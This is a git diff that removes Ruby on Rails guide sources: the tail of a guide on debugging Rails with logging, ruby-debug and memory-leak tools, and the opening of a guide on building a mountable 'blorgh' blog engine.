- "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"posts"}
-New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
- "published"=>false, "created_at"=>nil}
-Post should be valid: true
-  Post Create (0.000443)   INSERT INTO "posts" ("updated_at", "title", "body", "published",
- "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
- 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
-The post was saved and now the user is going to be redirected...
-Redirected to #<Post:0x20af760>
-Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts]
-</shell>
-
-Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia.
-
-h3. Debugging with +ruby-debug+
-
-When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.
-
-The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.
-
-h4. Setup
-
-The debugger used by Rails, +ruby-debug+, comes as a gem. To install it, just run:
-
-<shell>
-$ sudo gem install ruby-debug
-</shell>
-
-TIP: If you are using Ruby 1.9, you can install a compatible version of +ruby-debug+ by running +sudo gem install ruby-debug19+
-
-In case you want to download a particular version or get the source code, refer to the "project's page on rubyforge":http://rubyforge.org/projects/ruby-debug/.
-
-Rails has had built-in support for ruby-debug since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the +debugger+ method.
-
-Here's an example:
-
-<ruby>
-class PeopleController < ApplicationController
-  def new
-    debugger
-    @person = Person.new
-  end
-end
-</ruby>
-
-If you see the message in the console or logs:
-
-<shell>
-***** Debugger requested, but was not available: Start server with --debugger to enable *****
-</shell>
-
-Make sure you have started your web server with the option +--debugger+:
-
-<shell>
-$ rails server --debugger
-=> Booting WEBrick
-=> Rails 3.0.0 application starting on http://0.0.0.0:3000
-=> Debugger enabled
-...
-</shell>
-
-TIP: In development mode, you can dynamically +require \'ruby-debug\'+ instead of restarting the server, if it was started without +--debugger+.
-
-h4. The Shell
-
-As soon as your application calls the +debugger+ method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at ruby-debug's prompt +(rdb:n)+. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run.
-
-If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.
-
-For example:
-
-<shell>
-@posts = Post.all
-(rdb:7)
-</shell>
-
-Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help... so type: +help+ (You didn't see that coming, right?)
-
-<shell>
-(rdb:7) help
-ruby-debug help v0.10.2
-Type 'help <command-name>' for help on a specific command
-
-Available commands:
-backtrace  delete   enable  help    next  quit     show    trace
-break      disable  eval    info    p     reload   source  undisplay
-catch      display  exit    irb     pp    restart  step    up
-condition  down     finish  list    ps    save     thread  var
-continue   edit     frame   method  putl  set      tmate   where
-</shell>
-
-TIP: To view the help menu for any command use +help &lt;command-name&gt;+ in active debug mode. For example: _+help var+_
-
-The next command to learn is one of the most useful: +list+. You can also abbreviate ruby-debug commands by supplying just enough letters to distinguish them from other commands, so you can also use +l+ for the +list+ command.
-
-This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by +=>+.
-
-<shell>
-(rdb:7) list
-[1, 10] in /PathToProject/posts_controller.rb
-   1  class PostsController < ApplicationController
-   2    # GET /posts
-   3    # GET /posts.json
-   4    def index
-   5      debugger
-=> 6      @posts = Post.all
-   7
-   8      respond_to do |format|
-   9        format.html # index.html.erb
-   10        format.json { render :json => @posts }
-</shell>
-
-If you repeat the +list+ command, this time using just +l+, the next ten lines of the file will be printed out.
-
-<shell>
-(rdb:7) l
-[11, 20] in /PathTo/project/app/controllers/posts_controller.rb
-   11      end
-   12    end
-   13
-   14    # GET /posts/1
-   15    # GET /posts/1.json
-   16    def show
-   17      @post = Post.find(params[:id])
-   18
-   19      respond_to do |format|
-   20        format.html # show.html.erb
-</shell>
-
-And so on until the end of the current file. When the end of file is reached, the +list+ command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.
-
-On the other hand, to see the previous ten lines you should type +list-+ (or +l-+)
-
-<shell>
-(rdb:7) l-
-[1, 10] in /PathToProject/posts_controller.rb
-   1  class PostsController < ApplicationController
-   2    # GET /posts
-   3    # GET /posts.json
-   4    def index
-   5      debugger
-   6      @posts = Post.all
-   7
-   8      respond_to do |format|
-   9        format.html # index.html.erb
-   10        format.json { render :json => @posts }
-</shell>
-
-This way you can move inside the file, being able to see the code above and over the line you added the +debugger+.
-Finally, to see where you are in the code again you can type +list=+
-
-<shell>
-(rdb:7) list=
-[1, 10] in /PathToProject/posts_controller.rb
-   1  class PostsController < ApplicationController
-   2    # GET /posts
-   3    # GET /posts.json
-   4    def index
-   5      debugger
-=> 6      @posts = Post.all
-   7
-   8      respond_to do |format|
-   9        format.html # index.html.erb
-   10        format.json { render :json => @posts }
-</shell>
-
-h4. The Context
-
-When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.
-
-ruby-debug creates a context when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.
-
-At any time you can call the +backtrace+ command (or its alias +where+) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then +backtrace+ will supply the answer.
-
-<shell>
-(rdb:5) where
-    #0 PostsController.index
-       at line /PathTo/project/app/controllers/posts_controller.rb:6
-    #1 Kernel.send
-       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
-    #2 ActionController::Base.perform_action_without_filters
-       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
-    #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...)
-       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
-...
-</shell>
-
-You move anywhere you want in this trace (thus changing the context) by using the +frame _n_+ command, where _n_ is the specified frame number.
-
-<shell>
-(rdb:5) frame 2
-#2 ActionController::Base.perform_action_without_filters
-       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
-</shell>
-
-The available variables are the same as if you were running the code line by line. After all, that's what debugging is.
-
-Moving up and down the stack frame: You can use +up [n]+ (+u+ for abbreviated) and +down [n]+ commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.
-
-h4. Threads
-
-The debugger can list, stop, resume and switch between running threads by using the command +thread+ (or the abbreviated +th+). This command has a handful of options:
-
-* +thread+ shows the current thread.
-* +thread list+ is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution.
-* +thread stop _n_+ stop thread _n_.
-* +thread resume _n_+ resumes thread _n_.
-* +thread switch _n_+ switches the current thread context to _n_.
-
-This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.
-
-h4. Inspecting Variables
-
-Any expression can be evaluated in the current context. To evaluate an expression, just type it!
-
-This example shows how you can print the instance_variables defined within the current context:
-
-<shell>
-@posts = Post.all
-(rdb:11) instance_variables
-["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"]
-</shell>
-
-As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using +next+ (you'll learn more about this command later in this guide).
-
-<shell>
-(rdb:11) next
-Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
-  Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
-  Parameters: {"action"=>"index", "controller"=>"posts"}
-/PathToProject/posts_controller.rb:8
-respond_to do |format|
-</shell>
-
-And then ask again for the instance_variables:
-
-<shell>
-(rdb:11) instance_variables.include? "@posts"
-true
-</shell>
-
-Now +@posts+ is included in the instance variables, because the line defining it was executed.
-
-TIP: You can also step into *irb* mode with the command +irb+ (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.
-
-The +var+ method is the most convenient way to show variables and their values:
-
-<shell>
-var
-(rdb:1) v[ar] const <object>            show constants of object
-(rdb:1) v[ar] g[lobal]                  show global variables
-(rdb:1) v[ar] i[nstance] <object>       show instance variables of object
-(rdb:1) v[ar] l[ocal]                   show local variables
-</shell>
-
-This is a great way to inspect the values of the current context variables. For example:
-
-<shell>
-(rdb:9) var local
-  __dbg_verbose_save => false
-</shell>
-
-You can also inspect for an object method this way:
-
-<shell>
-(rdb:9) var instance Post.new
-@attributes = {"updated_at"=>nil, "body"=>nil, "title"=>nil, "published"=>nil, "created_at"...
-@attributes_cache = {}
-@new_record = true
-</shell>
-
-TIP: The commands +p+ (print) and +pp+ (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.
-
-You can use also +display+ to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.
-
-<shell>
-(rdb:1) display @recent_comments
-1: @recent_comments =
-</shell>
-
-The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use +undisplay _n_+ where _n_ is the variable number (1 in the last example).
-
-h4. Step by Step
-
-Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution.
-
-Use +step+ (abbreviated +s+) to continue running your program until the next logical stopping point and return control to ruby-debug.
-
-TIP: You can also use +step+ _n_+ and +step- _n_+ to move forward or backward _n_ steps respectively.
-
-You may also use +next+ which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps.
-
-The difference between +next+ and +step+ is that +step+ stops at the next line of code executed, doing just a single step, while +next+ moves to the next line without descending inside methods.
-
-For example, consider this block of code with an included +debugger+ statement:
-
-<ruby>
-class Author < ActiveRecord::Base
-  has_one :editorial
-  has_many :comments
-
-  def find_recent_comments(limit = 10)
-    debugger
-    @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit)
-  end
-end
-</ruby>
-
-TIP: You can use ruby-debug while using +rails console+. Just remember to +require "ruby-debug"+ before calling the +debugger+ method.
-
-<shell>
-$ rails console
-Loading development environment (Rails 3.1.0)
->> require "ruby-debug"
-=> []
->> author = Author.first
-=> #<Author id: 1, first_name: "Bob", last_name: "Smith", created_at: "2008-07-31 12:46:10", updated_at: "2008-07-31 12:46:10">
->> author.find_recent_comments
-/PathTo/project/app/models/author.rb:11
-)
-</shell>
-
-With the code stopped, take a look around:
-
-<shell>
-(rdb:1) list
-[2, 9] in /PathTo/project/app/models/author.rb
-   2    has_one :editorial
-   3    has_many :comments
-   4
-   5    def find_recent_comments(limit = 10)
-   6      debugger
-=> 7      @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit)
-   8    end
-   9  end
-</shell>
-
-You are at the end of the line, but... was this line executed? You can inspect the instance variables.
-
-<shell>
-(rdb:1) var instance
-@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
-@attributes_cache = {}
-</shell>
-
-+@recent_comments+ hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the +next+ command to move on in the code:
-
-<shell>
-(rdb:1) next
-/PathTo/project/app/models/author.rb:12
-@recent_comments
-(rdb:1) var instance
-@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
-@attributes_cache = {}
-@comments = []
-@recent_comments = []
-</shell>
-
-Now you can see that the +@comments+ relationship was loaded and @recent_comments defined because the line was executed.
-
-If you want to go deeper into the stack trace you can move single +steps+, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.
-
-h4. Breakpoints
-
-A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.
-
-You can add breakpoints dynamically with the command +break+ (or just +b+). There are 3 possible ways of adding breakpoints manually:
-
-* +break line+: set breakpoint in the _line_ in the current source file.
-* +break file:line [if expression]+: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger.
-* +break class(.|\#)method [if expression]+: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The _expression_ works the same way as with file:line.
-
-<shell>
-(rdb:5) break 10
-Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10
-</shell>
-
-Use +info breakpoints _n_+ or +info break _n_+ to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.
-
-<shell>
-(rdb:5) info breakpoints
-Num Enb What
-  1 y   at filters.rb:10
-</shell>
-
-To delete breakpoints: use the command +delete _n_+ to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active..
-
-<shell>
-(rdb:5) delete 1
-(rdb:5) info breakpoints
-No breakpoints.
-</shell>
-
-You can also enable or disable breakpoints:
-
-* +enable breakpoints+: allow a list _breakpoints_ or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.
-* +disable breakpoints+: the _breakpoints_ will have no effect on your program.
-
-h4. Catching Exceptions
-
-The command +catch exception-name+ (or just +cat exception-name+) can be used to intercept an exception of type _exception-name_ when there would otherwise be is no handler for it.
-
-To list all active catchpoints use +catch+.
-
-h4. Resuming Execution
-
-There are two ways to resume execution of an application that is stopped in the debugger:
-
-* +continue+ [line-specification] (or +c+): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
-* +finish+ [frame-number] (or +fin+): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.
-
-h4. Editing
-
-Two commands allow you to open code from the debugger into an editor:
-
-* +edit [file:line]+: edit _file_ using the editor specified by the EDITOR environment variable. A specific _line_ can also be given.
-* +tmate _n_+ (abbreviated +tm+): open the current file in TextMate. It uses n-th frame if _n_ is specified.
-
-h4. Quitting
-
-To exit the debugger, use the +quit+ command (abbreviated +q+), or its alias +exit+.
-
-A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.
-
-h4. Settings
-
-There are some settings that can be configured in ruby-debug to make it easier to debug your code. Here are a few of the available options:
-
-* +set reload+: Reload source code when changed.
-* +set autolist+: Execute +list+ command on every breakpoint.
-* +set listsize _n_+: Set number of source lines to list by default to _n_.
-* +set forcestep+: Make sure the +next+ and +step+ commands always move to a new line
-
-You can see the full list by using +help set+. Use +help set _subcommand_+ to learn about a particular +set+ command.
-
-TIP: You can include any number of these configuration lines inside a +.rdebugrc+ file in your HOME directory. ruby-debug will read this file every time it is loaded and configure itself accordingly.
-
-Here's a good start for an +.rdebugrc+:
-
-<shell>
-set autolist
-set forcestep
-set listsize 25
-</shell>
-
-h3. Debugging Memory Leaks
-
-A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level.
-
-In this section, you will learn how to find and fix such leaks by using tools such as BleakHouse and Valgrind.
-
-h4. BleakHouse
-
-"BleakHouse":https://github.com/fauna/bleak_house/tree/master is a library for finding memory leaks.
-
-If a Ruby object does not go out of scope, the Ruby Garbage Collector won't sweep it since it is referenced somewhere. Leaks like this can grow slowly and your application will consume more and more memory, gradually affecting the overall system performance. This tool will help you find leaks on the Ruby heap.
-
-To install it run:
-
-<shell>
-$ sudo gem install bleak_house
-</shell>
-
-Then setup your application for profiling. Then add the following at the bottom of config/environment.rb:
-
-<ruby>
-require 'bleak_house' if ENV['BLEAK_HOUSE']
-</ruby>
-
-Start a server instance with BleakHouse integration:
-
-<shell>
-$ RAILS_ENV=production BLEAK_HOUSE=1 ruby-bleak-house rails server
-</shell>
-
-Make sure to run a couple hundred requests to get better data samples, then press +CTRL-C+. The server will stop and Bleak House will produce a dumpfile in +/tmp+:
-
-<shell>
-** BleakHouse: working...
-** BleakHouse: complete
-** Bleakhouse: run 'bleak /tmp/bleak.5979.0.dump' to analyze.
-</shell>
-
-To analyze it, just run the listed command. The top 20 leakiest lines will be listed:
-
-<shell>
-  191691 total objects
-  Final heap size 191691 filled, 220961 free
-  Displaying top 20 most common line/class pairs
-  89513 __null__:__null__:__node__
-  41438 __null__:__null__:String
-  2348 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:Array
-  1508 /opt/local//lib/ruby/gems/1.8/specifications/gettext-1.90.0.gemspec:14:String
-  1021 /opt/local//lib/ruby/gems/1.8/specifications/heel-0.2.0.gemspec:14:String
-   951 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:111:String
-   935 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:String
-   834 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:146:Array
-  ...
-</shell>
-
-This way you can find where your application is leaking memory and fix it.
-
-If "BleakHouse":https://github.com/fauna/bleak_house/tree/master doesn't report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further.
-
-h4. Valgrind
-
-"Valgrind":http://valgrind.org/ is a Linux-only application for detecting C-based memory leaks and race conditions.
-
-There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls +malloc()+ but is doesn't properly call +free()+, this memory won't be available until the app terminates.
-
-For further information on how to install Valgrind and use with Ruby, refer to "Valgrind and Ruby":http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/ by Evan Weaver.
-
-h3. Plugins for Debugging
-
-There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:
-
-* "Footnotes":https://github.com/josevalim/rails-footnotes: Every Rails page has footnotes that give request information and link back to your source via TextMate.
-* "Query Trace":https://github.com/ntalbott/query_trace/tree/master: Adds query origin tracing to your logs.
-* "Query Stats":https://github.com/dan-manges/query_stats/tree/master: A Rails plugin to track database queries.
-* "Query Reviewer":http://code.google.com/p/query-reviewer/: This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed.
-* "Exception Notifier":https://github.com/smartinez87/exception_notification/tree/master: Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
-* "Exception Logger":https://github.com/defunkt/exception_logger/tree/master: Logs your Rails exceptions in the database and provides a funky web interface to manage them.
-
-h3. References
-
-* "ruby-debug Homepage":http://www.datanoise.com/ruby-debug
-* "Article: Debugging a Rails application with ruby-debug":http://www.sitepoint.com/article/debug-rails-app-ruby-debug/
-* "ruby-debug Basics screencast":http://brian.maybeyoureinsane.net/blog/2007/05/07/ruby-debug-basics-screencast/
-* "Ryan Bate's ruby-debug screencast":http://railscasts.com/episodes/54-debugging-with-ruby-debug
-* "Ryan Bate's stack trace screencast":http://railscasts.com/episodes/24-the-stack-trace
-* "Ryan Bate's logger screencast":http://railscasts.com/episodes/56-the-logger
-* "Debugging with ruby-debug":http://bashdb.sourceforge.net/ruby-debug.html
-* "ruby-debug cheat sheet":http://cheat.errtheblog.com/s/rdebug/
-* "Ruby on Rails Wiki: How to Configure Logging":http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging
-* "Bleak House Documentation":http://blog.evanweaver.com/files/doc/fauna/bleak_house/files/README.html
diff --git a/railties/guides/source/engines.textile b/railties/guides/source/engines.textile
deleted file mode 100644
index 694b36bea1..0000000000
--- a/railties/guides/source/engines.textile
+++ /dev/null
@@ -1,618 +0,0 @@
-h2. Getting Started with Engines
-
-In this guide you will learn about engines and how they can be used to provide additional functionality to their host applications through a clean and very easy-to-use interface. You will learn the following things in this guide:
-
-* What makes an engine
-* How to generate an engine
-* Building features for the engine
-* Hooking the engine into an application
-* Overriding engine functionality in the application
-
-endprologue.
-
-h3. What are engines?
-
-Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the +Rails::Application+ class inheriting from +Rails::Engine+. Therefore, engines and applications share common functionality but are at the same time two separate beasts. Engines and applications also share a common structure, as you'll see throughout this guide.
-
-Engines are also closely related to plugins where the two share a common +lib+ directory structure and are both generated using the +rails plugin new+ generator.
-
-The engine that will be generated for this guide will be called "blorgh". The engine will provide blogging functionality to its host applications, allowing for new posts and comments to be created. For now, you will be working solely within the engine itself and in later sections you'll see how to hook it into an application.
-
-Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as +posts_path+ and use an engine also that provides a path also called +posts_path+, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide.
-
-To see demonstrations of other engines, check out "Devise":https://github.com/plataformatec/devise, an engine that provides authentication for its parent applications, or "Forem":https://github.com/radar/forem, an engine that provides forum functionality.
-
-Finally, engines would not have be possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks!
-
-h3. Generating an engine
-
-To generate an engine with Rails 3.1, you will need to run the plugin generator and pass it the +--mountable+ option. To generate the beginnings of the "blorgh" engine you will need to run this command in a terminal:
-
-<shell>
-$ rails plugin new blorgh --mountable
-</shell>
-
-The +--mountable+ option tells the plugin generator that you want to create an engine (which is a mountable plugin, hence the option name), creating the basic directory structure of an engine by providing things such as the foundations of an +app+ folder, as well a +config/routes.rb+ file. This generator also provides a file at +lib/blorgh/engine.rb+ which is identical in function to an application's +config/application.rb+ file.
-
-h4. Inside an engine
-
-h5. Critical files
-
-At the root of the engine's directory, lives a +blorgh.gemspec+ file. When you include the engine into the application later on, you will do so with this line in a Rails application's +Gemfile+:
-
-<ruby>
-  gem 'blorgh', :path => "vendor/engines/blorgh"
-</ruby>
-
-By specifying it as a gem within the +Gemfile+, Bundler will load it as such, parsing this +blorgh.gemspec+ file and requiring a file within the +lib+ directory called +lib/blorgh.rb+. This file requires the +blorgh/engine.rb+ file (located at +lib/blorgh/engine.rb+) and defines a base module called +Blorgh+.
-
-<ruby>
-require "blorgh/engine"
-
-module Blorgh
-end
-</ruby>
-
-Within +lib/blorgh/engine.rb+ is the base class for the engine:
-
-<ruby>
-module Blorgh
-  class Engine < Rails::Engine
-    isolate_namespace Blorgh
-  end
-end
-</ruby>
-
-By inheriting from the +Rails::Engine+ class, this engine gains all the functionality it needs, such as being able to serve requests to its controllers.
-
-The +isolate_namespace+ method here deserves special notice. This call is responsible for isolating the controllers, models, routes and other things into their own namespace. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption. It is recommended that this line be left within this file.
-
-h5. +app+ directory
-
-Inside the +app+ directory there lives the standard +assets+, +controllers+, +helpers+, +mailers+, +models+ and +views+ directories that you should be familiar with from an application. The +helpers+, +mailers+ and +models+ directories are empty and so aren't described in this section. We'll look more into models in a future section.
-
-Within the +app/assets+ directory, there is the +images+, +javascripts+ and +stylesheets+ directories which, again, you should be familiar with due to their similarities of an application. One difference here however is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too.
-
-Within the +app/controllers+ directory there is a +blorgh+ directory and inside that a file called +application_controller.rb+. This file will provide any common functionality for the controllers of the engine. The +blorgh+ directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application.
-
-Lastly, the +app/views+ directory contains a +layouts+ folder which contains file at +blorgh/application.html.erb+ which allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the applications +app/views/layouts/application.html.erb+ file.
-
-h5. +script+ directory
-
-This directory contains one file, +script/rails+, which allows you to use the +rails+ sub-commands and generators just like you would within an application. This means that you will very easily be able to generate new controllers and models for this engine.
-
-h5. +test+ directory
-
-The +test+ directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at +test/dummy+. This application will mount the engine in the +test/dummy/config/routes.rb+ file:
-
-<ruby>
-Rails.application.routes.draw do
-
-  mount Blorgh::Engine => "/blorgh"
-end
-</ruby>
-
-This line mounts the engine at the path of +/blorgh+, which will make it accessible through the application only at that path. We will look more into mounting an engine after some features have been developed.
-
-Also in the test directory is the +test/integration+ directory, where integration tests for the engine should be placed.
-
-h3. Providing engine functionality
-
-The engine that this guide covers will provide posting and commenting functionality and follows a similar thread to the "Getting Started Guide":getting-started.html, with some new twists.
-
-h4. Generating a post resource
-
-The first thing to generate for a blog engine is the +Post+ model and related controller. To quickly generate this, you can use the Rails scaffold generator.
-
-<shell>
-$ rails generate scaffold post title:string text:text
-</shell>
-
-This command will output this information:
-
-<shell>
-invoke  active_record
-create    db/migrate/[timestamp]_create_blorgh_posts.rb
-create    app/models/blorgh/post.rb
-invoke    test_unit
-create      test/unit/blorgh/post_test.rb
-create      test/fixtures/blorgh/posts.yml
- route  resources :posts
-invoke  scaffold_controller
-create    app/controllers/blorgh/posts_controller.rb
-invoke    erb
-create      app/views/blorgh/posts
-create      app/views/blorgh/posts/index.html.erb
-create      app/views/blorgh/posts/edit.html.erb
-create      app/views/blorgh/posts/show.html.erb
-create      app/views/blorgh/posts/new.html.erb
-create      app/views/blorgh/posts/_form.html.erb
-invoke    test_unit
-create      test/functional/blorgh/posts_controller_test.rb
-invoke    helper
-create      app/helpers/blorgh/posts_helper.rb
-invoke      test_unit
-create        test/unit/helpers/blorgh/posts_helper_test.rb
-invoke  assets
-invoke    js
-create      app/assets/javascripts/blorgh/posts.js
-invoke    css
-create      app/assets/stylesheets/blorgh/posts.css
-invoke  css
-create    app/assets/stylesheets/scaffold.css
-</shell>
-
-The first thing that the scaffold generator does is invoke the +active_record+ generator, which generates a migration and a model for the resource. Note here, however, that the migration is called +create_blorgh_posts+ rather than the usual +create_posts+. This is due to the +isolate_namespace+ method called in the +Blorgh::Engine+ class's definition. The model here is also namespaced, being placed at +app/models/blorgh/post.rb+ rather than +app/models/post.rb+.
-
-Next, the +test_unit+ generator is invoked for this model, generating a unit test at +test/unit/blorgh/post_test.rb+ (rather than +test/unit/post_test.rb+) and a fixture at +test/fixtures/blorgh/posts.yml+ (rather than +test/fixtures/posts.yml+).
-
-After that, a line for the resource is inserted into the +config/routes.rb+ file for the engine. This line is simply +resources :posts+, turning the +config/routes.rb+ file into this:
-
-<ruby>
-Blorgh::Engine.routes.draw do
-  resources :posts
-
-end
-</ruby>
-
-Note here that the routes are drawn upon the +Blorgh::Engine+ object rather than the +YourApp::Application+ class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the "test directory":#test-directory section.
-
-Next, the +scaffold_controller+ generator is invoked, generating a controlled called +Blorgh::PostsController+ (at +app/controllers/blorgh/posts_controller.rb+) and its related views at +app/views/blorgh/posts+. This generator also generates a functional test for the controller (+test/functional/blorgh/posts_controller_test.rb+) and a helper (+app/helpers/blorgh/posts_controller.rb+).
-
-Everything this generator has generated is neatly namespaced. The controller's class is defined within the +Blorgh+ module:
-
-<ruby>
-module Blorgh
-  class PostsController < ApplicationController
-    ...
-  end
-end
-</ruby>
-
-NOTE: The +ApplicationController+ class being inherited from here is the +Blorgh::ApplicationController+, not an application's +ApplicationController+.
-
-The helper is also namespaced:
-
-<ruby>
-module Blorgh
-  class PostsHelper
-    ...
-  end
-end
-</ruby>
-
-This helps prevent conflicts with any other engine or application that may have a post resource also.
-
-Finally, two files that are the assets for this resource are generated, +app/assets/javascripts/blorgh/posts.js+ and +app/assets/javascripts/blorgh/posts.css+. You'll see how to use these a little later.
-
-By default, the scaffold styling is not applied to the engine as the engine's layout file, +app/views/blorgh/application.html.erb+ doesn't load it. To make this apply, insert this line into the +<head>+ tag of this layout:
-
-<erb>
-<%= stylesheet_link_tag "scaffold" %>
-</erb>
-
-You can see what the engine has so far by running +rake db:migrate+ at the root of our engine to run the migration generated by the scaffold generator, and then running +rails server+. When you open +http://localhost:3000/blorgh/posts+ you will see the default scaffold that has been generated.
-
-!images/engines_scaffold.png(Blank engine scaffold)!
-
-Click around! You've just generated your first engine's first functions.
-
-If you'd rather play around in the console, +rails console+ will also work just like a Rails application. Remember: the +Post+ model is namespaced, so to reference it you must call it as +Blorgh::Post+.
-
-<ruby>
-  >> Blorgh::Post.find(1)
-  => #<Blorgh::Post id: 1 ...>
-</ruby>
-
-One final thing is that the +posts+ resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of posts. This can be made to happen if this line is inserted into the +config/routes.rb+ file inside the engine:
-
-<ruby>
-root :to => "posts#index"
-</ruby>
-
-Now people will only need to go to the root of the engine to see all the posts, rather than visiting +/posts+.
-
-h4. Generating a comments resource
-
-Now that the engine has the ability to create new blog posts, it only makes sense to add commenting functionality as well. To do get this, you'll need to generate a comment model, a comment controller and then modify the posts scaffold to display comments and allow people to create new ones.
-
-Run the model generator and tell it to generate a +Comment+ model, with the related table having two columns: a +post_id+ integer and +text+ text column.
-
-<shell>
-$ rails generate model Comment post_id:integer text:text
-</shell>
-
-This will output the following:
-
-<shell>
-invoke  active_record
-create    db/migrate/[timestamp]_create_blorgh_comments.rb
-create    app/models/blorgh/comment.rb
-invoke    test_unit
-create      test/unit/blorgh/comment_test.rb
-create      test/fixtures/blorgh/comments.yml
-</shell>
-
-This generator call will generate just the necessary model files it needs, namespacing the files under a +blorgh+ directory and creating a model class called +Blorgh::Comment+.
-
-To show the comments on a post, edit +app/views/posts/show.html.erb+ and add this line before the "Edit" link:
-
-<erb>
-<h3>Comments</h3>
-<%= render @post.comments %>
-</erb>
-
